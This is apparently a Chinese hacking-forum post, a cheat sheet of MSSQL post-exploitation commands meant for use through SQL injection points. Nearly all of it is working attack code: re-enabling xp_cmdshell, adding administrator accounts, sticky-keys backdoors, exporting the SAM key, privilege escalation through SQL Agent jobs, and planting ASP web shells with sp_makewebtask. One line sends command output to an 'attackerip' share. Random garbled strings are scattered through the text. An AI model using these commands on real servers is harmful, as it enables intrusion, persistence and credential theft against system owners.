找回密码
 立即注册
查看: 2783|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
2 b4 \# G: n5 {- r  B6 @3 x恢复方法:查询分离器连接后,# O/ {! A+ d" L9 L* j
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
# c! h1 E/ \! M/ e3 b/ h第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. A, Y9 G8 e7 x& @7 l8 ^然后按F5键命令执行完毕$ O; v, m5 s/ M. ^4 r; D

- r& V2 ]2 l2 `7 R9 D, A2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
8 X/ B/ ?' o0 {6 p! x) C0 e" K恢复方法:查询分离器连接后,; h$ {" L$ T$ p8 Z, h; c( f  d
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
8 @" p# P' N4 D9 c5 o7 k  _第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'( J# O5 ]9 [" d2 ?& c5 p
然后按F5键命令执行完毕
; Z: Q, p: P- Z+ f& M. \! B# C) v5 x8 e) h* W
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)6 m4 c; D) V- C; x) P7 n
恢复方法:查询分离器连接后,
* p% x; ?/ h1 X第一步执行:exec sp_dropextendedproc 'xp_cmdshell'4 v: f  R  \  i# ^% O! X# D
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
+ E" _8 R* ~4 H2 k( ]5 N然后按F5键命令执行完毕
( X. c. ]6 x' Z' ]+ d/ }% ^0 B2 B. n, A' J1 Q: n  R
4 终极方法./ z/ W# L3 V" p, c0 m
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
4 s9 w5 |  ?" O7 ~查询分离器连接后,
0 g2 _) d! x( a% o2 U7 u2000servser系统:& `4 P1 K* Z: p  a
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'# p2 p1 r& P# L* G3 I$ i. @, v; H

! k  v- d3 M0 p3 C/ {declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'- D2 z1 {% @. o
1 m; g0 w/ K/ q
xp或2003server系统:( w* h, c* }' M& B" E

( G  I6 ~: w, Fdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'  h  d  f; h/ x

. z1 R1 H" m  y: Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
- j3 ^8 A  h3 ^$ N1 R% P( M7 _
0 j* i  y" @' b( d
7 P. e  I' C5 ]3 L7 e$ {五个SHIFT5 L. g! U4 _9 F1 e( V# t. O7 v7 R
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
+ c7 n& s5 m0 N/ ]
1 b6 `( |8 L& |2 @declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; ; Q8 y. e7 ~5 }; g4 ^
( \# ~6 Q4 }2 U& R  ~
xp_cmdshell执行命令另一种方法' ~3 ~$ ]6 \/ y
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
& \7 m) ^9 C' T2 m+ W1 S" N- I5 L) M4 V
判断存储扩展是否存在7 J4 W4 @4 q, a8 C( u
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'; U2 S# Z2 }8 X; u' W% q. f
返回结果为1就OK
  F1 Q2 t- u) c3 k" {6 s  `9 s. z( k  S! R% N3 B9 f: t2 l
  P, Y( u, I1 J+ l% A8 D7 Q
上传xplog70.dll恢复xp_cmdshell语句:6 c) }; H, R* j2 \' b' }$ K2 H$ Y, D
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
6 Z, o: T& e) p. _  z4 S1 s4 \$ r
否则上传xplog7.0.dll
$ s+ j9 |3 W# X5 b/ y' mExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'+ M5 m. y7 M- K; d# H
1 o% K/ B0 ]  \- g

- A. y1 M. R; J# u. p0 B2 J) [4 @0 r
首先开启沙盘模式:
) [  z7 W7 T4 ]$ _) B- J1 bexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',14 O) j+ f/ ^( {6 m/ c

+ g9 @+ p0 ^8 l: L2 L$ r然后利用jet.oledb执行系统命令
- a* n& P' ~  @5 Bselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')4 k$ r' ~# W) V4 ]/ _, n$ {* P( T
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了$ b: j% `" O( ?% J

) k8 y9 A! ^2 g+ z# e- z7 o7 M" M: ~
* f/ `7 R- {3 }6 q8 E, v
恢复过程sp_addextendedproc 如下: - m9 g- L" j/ F
create procedure sp_addextendedproc --- 1996/08/30 20:13
( M1 F: {+ }. D5 w4 G" t  F@functname nvarchar(517),/* (owner.)name of function to call */
# h( g- E  b0 h. r@dllname varchar(255)/* name of DLL containing function */
: w7 K+ z; l$ @- r) Qas
! n* @( ]- ~1 y# Bset implicit_transactions off $ n* U, T  Z/ F" @7 p' H
if @@trancount > 0
; H9 O- I  F& u1 e$ ^begin
: v- X* S# }2 ]* C( Vraiserror(15002,-1,-1,'sp_addextendedproc') ( f! S9 V1 r$ s4 d" [  Y0 K
return (1) * i: M- W% Q! [; Y6 t
end 2 x% a% @0 {. P6 i; t' }
dbcc addextendedproc( @functname, @dllname) % u- L6 A! D, n. o, `5 V, A
return (0) -- sp_addextendedproc $ e' W' a9 i$ }  Y$ u
GO
3 K; Y3 i: I! k) T* @) h: f  W
. v: Z. ]- U" c6 ~" {
1 V3 P7 H) O. z& U$ P# m! a  h2 c6 E5 b. @% R/ U
导出管理员密码文件1 B. x5 e; p# y5 J7 p, Y
sa默认可以读sam键.应该。
" |; }( \* f2 @) Dreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg% U  `6 s* ]  h8 j
net user administrator test
: @+ L- b1 U, p4 a用administrator登陆.
; t3 e* K% i  P1 e0 _用完机器后9 R& S' ^/ c6 S, i  {6 I9 X$ H
reg import c:\test.reg& y7 y% J5 D, [4 y
根本不用克隆.5 s  t4 x' R; y/ |$ s3 [+ M
找到对应的sid.
6 I; n! J# \0 p  S0 j$ F, N$ Z" P! |: T2 f& p& r' A8 W+ f0 Q& f

' H6 [7 T/ T7 X1 f6 Y
% v$ t& M8 @& a6 F0 C8 S5 z恢复所有存储过程& k/ R; M- H5 m# r
use master
; h% g/ W, e2 [/ `exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
% j5 W3 H  S/ D+ }; ^% X% V' Bexec sp_addextendedproc xp_fixeddrives,'xpstar.dll' . L/ P6 s4 m: x/ x$ Q8 x- h6 `- X
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
" v6 i, ~/ O4 X7 I( {: Zexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
. I) c0 ~- y  V' R$ C# mexec sp_addextendedproc xp_getfiledetails,'xpstar.dll' 0 P) Q* Y0 O$ `. o
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
& z. n0 z1 o2 t' ~8 ~5 r& d4 E) ]0 U; }exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
: Q3 H  O$ T6 k6 p" m+ y% zexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 2 e3 F' ~& m- M( ]3 j/ z
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 3 k6 D  A3 H3 ?9 @
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' % }! x9 \$ M( Y
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
6 A) H9 k% ~  e" N8 Aexec sp_addextendedproc sp_OAStop,'odsole70.dll' 3 A/ v. e; @& Q+ a- s
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' 1 ^. U% k7 l3 _& O: h
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' $ _+ l5 r, {" ?$ R
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
/ U7 G; h, p8 U. z, E5 B8 Xexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' % y, G5 k2 q' S$ j# t/ E
exec sp_addextendedproc xp_regread,'xpstar.dll'
, h1 H8 l8 S$ y! P/ D) C6 Aexec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
. N" c% w  i/ r# vexec sp_addextendedproc xp_regwrite,'xpstar.dll'
, j, `. i1 U2 n0 Gexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
, y9 {* a! F+ N" Y, k1 u: b9 Y! d, P# |( H7 W$ _+ z
# @& h: R1 z6 \- f  ~4 i
建立读文件的存储过程7 ~1 n+ Y& Z# U0 c
Create proc sp_readTextFile @filename sysname
1 e. I. u' K8 b) ?# s& |5 W. eas" V5 e/ j: U  g* Q3 a8 G7 @. _
4 w( J( n; Y( |# o( Y6 Q
    begin $ _# i# k* A- ?; S/ M
    set nocount on
  r; ~- s5 F2 {9 l. A4 s3 N    Create table #tempfile (line varchar(8000))5 H+ U" D3 L9 T5 h  U" M
    exec ('bulk insert #tempfile from "' + @filename + '"')
! k( c9 a2 P3 F( v" k7 Z    select * from #tempfile1 Z# u/ n: X  b, }
    drop table #tempfile8 o& L) [# _( [
End
; R1 b9 a2 j: Q
1 N( E) Z3 z9 _3 \  `exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
9 A0 M! r6 H; I/ }* Z/ o查看登录用户5 n! ^3 e5 H# T
Select * from sysxlogins
+ G" H- g& H( q2 ?, I5 q# M0 a8 d9 i
6 {9 s: b8 X) Z# d把文件内容读取到表中# z# |7 x- _8 F9 w% h- |6 _
BULK INSERT tmp from "c:\test.txt"
! I3 |& N0 C" o$ z& Y+ O) jdElete from 表名 清理表里的内容
* b* v( B+ T& x. r. kcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
; Y: i) m& B: d; p& [& r) [5 c) e+ i+ j+ M

1 W& z' j, K) J6 l加sa用户
$ A1 f! W/ d; T$ iexec master.dbo.sp_addlogin user,pass;5 p! g/ Q$ B2 u! q
exec master.dbo.sp_addsrvrolemember user,sysadmin
: X  j7 I! `0 l1 u/ p- |4 N0 Y1 ]3 j% k  \! t  ]9 t
* B' }3 s7 e2 \8 T* B( J

% |7 W4 U) ~# _& C& k2 O读文件代码3 Y+ j# i" J( b9 n) v/ e
declare @o int, @f int, @t int, @ret int9 C, q4 f2 b  m, K$ s8 t; R
declare @line varchar(8000)
9 e" v$ V8 _2 L4 Lexec sp_oacreate 'scripting.filesystemobject', @o out2 G$ ?+ u' L' T; g9 D6 u: O
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1: e2 E+ P& c9 s8 P4 v
exec @ret = sp_oamethod @f, 'readline', @line out' b: X( M8 B: I/ p" q
while( @ret = 0 )
2 r6 V/ ?# f! h2 I2 i* @begin
3 U9 C& I" K( j& ~" ^print @line
$ G- Z5 \7 J6 e/ Q3 L$ o+ |exec @ret = sp_oamethod @f, 'readline', @line out$ t( [% M. z9 _7 g: c' r$ U0 {
end1 A! y+ ?4 M+ K' }

4 I/ X5 U: E, t* ]9 T/ \
2 y; p" V5 K/ \4 q( `写文件代码:
# t, h3 m+ W8 ~declare @o int, @f int, @t int, @ret int5 s0 j4 D: @9 Y, Q1 L
exec sp_oacreate 'scripting.filesystemobject', @o out
+ V* M* `* C# N* ^: ]7 x: N4 ~/ ~exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
) @& ^0 D1 x( Hexec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》0 [9 I, p0 _; ?4 t- \9 ?
5 i% ^, x# E. C+ q
4 `  A( K8 ]* Z
添加lake2 shell% c# C, K3 Q7 |5 U) h# B4 G
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
! q; }! J! B2 N4 S+ ~7 o2 e! v7 y- _sp_dropextendedproc xp_lake2
8 |. h$ N' \" w, |3 z! X, GEXEC xp_lake2 'net user'6 g. `' ]4 r: ^) K
% q& x/ h% I  f9 j# l

# g; s* ~* N6 W9 W& G得到硬盘文件信息 $ Z8 x3 @& `- ]9 y
--参数说明:目录名,目录深度,是否显示文件 : x6 O$ L; C  Q. }
execute master..xp_dirtree 'c:' 6 J9 q0 L9 b+ n1 |* b# z. e
execute master..xp_dirtree 'c:',1 + b4 y, W; a* N
execute master..xp_dirtree 'c:',1,1
3 e5 [6 i% t/ q# s  H6 ~. d1 Z2 j2 b. K: f- R4 s! _; T
9 w0 F( `4 i+ Q0 ]. q3 B
读serv-u配置信息" T! s  S- F! y& v
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
' U! T0 z6 D! w  Q* P. m) q- iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
1 b1 N% ?1 x" X& q0 C4 q8 P: Y! n; u
$ R$ \9 R! X% ^4 e通过xp_regwrite写SHIFT后门
% X/ R7 [8 n6 _exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
* x7 i# `9 P2 U, j/ [: y
3 I/ }: U  M3 t! O$ Y1 s0 M0 I' `9 a/ r4 A8 B1 x9 n" N% h

5 |4 V0 X( g8 A3 r! _  O+ t找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';, o6 J# Y7 X% J- S4 g0 ~0 J
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了) ~2 {' \" I4 L. U

3 Y3 M1 }* e# J" Z, H( JEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
) _/ ]1 U9 ?; h! O; Q7 c8 Z1 |; E1 j3 z  V6 c0 T
: p  N; X3 P* s( V5 b' F# M* B

$ D8 a7 a4 x) G1 _: |sql server 2005下开启xp_cmdshell的办法7 S" V3 Y0 c( T9 F) [/ q1 w4 }
' u+ \. ^- i. [- Z8 v; D( L4 j
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;( S% a' H0 S4 n! T

; i$ l9 h( b) N: ^SQL2005开启'OPENROWSET'支持的方法:
. J- Y2 T6 k$ m, ~
5 b; q/ A) f# k& Z% m3 b/ ?5 A) \exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
! ?2 t5 r4 l; S8 s: i$ q: m
/ E6 d2 |! [0 [: C3 R) H. ]SQL2005开启'sp_oacreate'支持的方法:
7 d. u% K) I% |! D2 e1 W5 d2 q( V6 v8 L: y6 D
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
7 W: A- g  _( E& [) Q2 v3 w, }9 a. ?; P9 F, ]  \6 z8 _$ B
4 g' ~# i  A& L: n0 x) H) |, |
- i3 P7 x/ b7 h# j7 P( H
1 R( ]$ K0 I9 Z" f) j' q

, V* a& l) B4 q1 t+ J. m# d2 g
, E* s- k. I$ E1 B, k8 R
3 v& U4 w, t  V, l, H. s- r  v0 Q) i1 C' G
/ D+ g3 ?; Y* o1 P$ p6 t3 b. [
3 n# \# W5 u5 X- @1 f* }2 Q' E

) q7 d( M1 p  D1 R+ ]8 ]  M2 a& g) J' N2 P" M

' \+ F9 [. u  V2 u$ [: |5 ^% U" |7 W: F1 F; H

% \) a, `! ]$ V# i! f' Z% @, C* q$ E" L: s( X1 K. w1 {
8 I( A# t) l, Q  t; H# `
7 U+ s" N8 K; E. n6 T4 e- m

. ~2 z, f  X9 U' h  u& z" e" Y
: ~* b% o. L3 s3 M$ R7 L0 f
2 |. k9 N8 O( Z$ X! B8 c+ N- Z' I! ^

1 o2 M( x6 s# F4 z8 c
( a! O9 A. n& @6 X, O* ?" \以下方面不知道能不能成功暂且留下研究哈:) Z/ I) w8 y8 U! r& `( _5 B
4)  Q0 a7 W; B0 c: e3 k$ a
use msdb; --这儿不要是master哟2 M. P! m5 S, s$ q" V
exec sp_add_job @job_name= czy82 ;+ w3 c( y7 l$ j9 Z: z
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;. O( z3 v7 v+ q7 z% a; h
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
& [. x/ ^7 n3 rexec sp_start_job @job_name= czy82 ;" l: L( k( m$ J- X$ Q% w: E

8 e3 [5 L- o& s利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
: M( p% h7 B# ]2 w执行tsql语句了.. s( o* X3 Q& O+ I$ y+ z
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
0 {6 I" B: a7 H6 i4 `第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
1 c+ S$ G; h, I! r3 n$ E4 Qnet start SQLSERVERAGENT
0 @  N9 ]. E. }0 G; N. v- r, ~3 \) p5 `
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
7 L/ b+ U0 {0 v3 s; DUSE msdb# K5 v* B, |, u  B9 c: X2 Z
EXEC sp_add_job @job_name = GetSystemOnSQL ,# I  w# x9 w; W' `9 P$ q* U( N
@enabled = 1,
9 c9 N$ i& _9 \# k@description = This will give a low privileged user access to
" I  f6 t% M9 @3 u  t, yxp_cmdshell ,5 g9 @5 @0 ?# c( p3 @$ Y2 D8 u
@delete_level = 15 h0 ?; g  C9 ]8 W' l! Y1 Q
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,3 u- a* \- \8 y7 G
@step_name = Exec my sql ,: l: t) B% w8 }7 J% ^! _
@subsystem = TSQL ,
9 Q9 e: q6 N- Y) y9 b/ [8 r+ L9 l@command = exec master..xp_execresultset N select exec% T$ A9 Z+ B) q! F. O- j6 a
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 8 m! M5 c+ ~4 b7 t5 O" Y7 R  ?6 t1 X
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
% W8 @# j# `& N7 j) N, x0 f4 i@server_name = 你的SQL的服务器名
$ ~6 `  V2 r5 E# H4 i4 CEXEC sp_start_job @job_name = GetSystemOnSQL
& \: f1 D) |2 v; n+ v3 [' m. m# l7 Y8 n! @7 r' `0 Q1 E
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以5 g/ U2 t( e! l& W5 y5 i. b0 l
才让我们可以以public执行xp_cmdshell1 G' l% s: M9 K5 u) [0 l: F

: h2 t6 G. n' h: E  ~% f$ s5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)* ^* q! V; t* [
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968: I8 a7 K% C9 j3 H2 V; E" O# S
  H" ]3 p7 l3 W# Q
USE msdb0 N# o5 g1 W1 B4 D
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
& M0 s! {3 H- F@enabled = 1,+ |6 O, y/ C. B1 k0 U
@description = This will create a file called c:\sqlafc123.txt ,
2 h) P8 V: t6 u; `$ o( }$ g@delete_level = 1
% f# T5 z, C; ?, D4 ]5 ]EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,$ F* q, ~+ x3 y, W' U# F/ {1 F
@step_name = SQLAFC ,
$ @/ W# u  I: w! N' v@subsystem = TSQL ,% ~( @( p7 y3 N  G: W5 H
@command = select hello, this file was created by the SQL Agent. ,
# N3 M; S8 v% ?0 r# T0 @@output_file_name = c:\sqlafc123.txt 4 H( q. e5 z4 D2 n* Q0 x
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,, V/ c8 s* I. u; I; Z2 A
@server_name = SERVER_NAME ) i/ p. K- ?. C! e& y+ P" [+ H
EXEC sp_start_job @job_name = ArbitraryFilecreate + H" m9 F/ y/ D7 {2 h

( o5 z7 t& S2 r/ W* J5 M如果subsystem选的是:tsql,在生成的文件的头部有如下内容5 Z$ Z- N  W2 }/ J. }3 A

$ G# h2 A& ~! Q6 p; u??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:195 Q3 R9 H/ N; ]& b0 H
----------------------------------------------7 Z% R: A0 d+ v. E6 W
hello, this file was created by the SQL Agent.
% y7 E: W2 s% d+ D1 c
' n* U+ p" R5 r* e8 u(1 ?????)
( R% k* z9 ^$ o) |5 e* X! n4 s* z' ?$ @
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员+ j0 R% h) b( R) @/ h
命令的vbs文件到启动目录!5 d% A+ w* Y- p; ~
3 a. n" T& F9 F
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)# q  K( h1 W$ q1 V
关于sp_MScopyscriptfile 看下面的例子, i& o. l) w" @5 }) P
declare @command varchar(100)
& M4 |5 x( E  d3 y9 _declare @scripfile varchar(200)
9 h; @: E7 Y5 ?* e5 Jset concat_null_yields_null off ) X5 a7 C4 v5 \
select @command= dir c:\ > "\\attackerip\share\dir.txt"
2 h/ {3 |) V* j- mselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 5 t# U% c- T, H$ h6 i" y5 J
exec sp_MScopyscriptfile @scripfile , $ T3 V9 p1 Q& I1 t, W1 Q
# R+ t0 e3 J& \9 K+ |" J4 P# M
这两个东东都还在测试试哟0 F. I' z' q4 Q4 ^6 r) @
让MSSQL的public用户得到一个本机的web shell5 N# D1 E& h8 E$ e2 ?  W# w

9 ^0 ?! E' k) l& O( _! e6 n- \: Osp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
' a& M9 m4 J, M6 e--@query= select <img src=vbscript:msgbox(now())>
. ~- ?  Y# K. q* U) l* J--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> , ~$ d- Q: ]- V7 m8 I/ @, Y
@query= select
! [/ x0 _1 M/ n* i<%On Error Resume Next . N; f6 N9 t5 E" B& S, a0 `
Set oscript = Server.createObject("wscript.SHELL")
% A5 i' ~, f2 X) T0 W! TSet oscriptNet = Server.createObject("wscript.NETWORK")
+ C. n3 g% v) g* y4 eSet oFileSys = Server.createObject("scripting.FileSystemObject")
. R. I! k9 V( k$ ]% k! I1 i& vszCMD = Request.Form(".CMD")
; |& b, U* W( E& ~" }* JIf (szCMD <>"")Then
: G3 ^. M; T' [. MszTempFile = "C:\" & oFileSys.GetTempName() " k# m; Y4 u0 W: }
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 7 f4 b3 D/ x& M
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
3 |3 o4 J( l9 x4 W3 S% }; ?End If %> : ~) e8 i3 m& C# W+ Q# O
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> $ g' U) I8 J; T8 U; h
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> ! x' z+ t3 l6 U. b+ n/ g3 ~# v
</FORM><RE>
; g2 Z  p- O, P<% If (IsObject(oFile))Then
* T6 A5 ~2 g- u4 gOn Error Resume Next
. \  `* [  K* Z( R0 q% AResponse.Write Server.HTMLEncode(oFile.ReadAll)
4 T5 k" e+ v9 B8 _) n( t) \oFile.Close
" M" |) Q1 @9 y% SCall oFileSys.deleteFile(szTempFile, True) + l( O/ R+ k  v5 T( K
End If%> : g4 X3 {1 A1 _2 C6 {! g0 i
</BODY></HTML> " v! m7 a5 F" W2 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表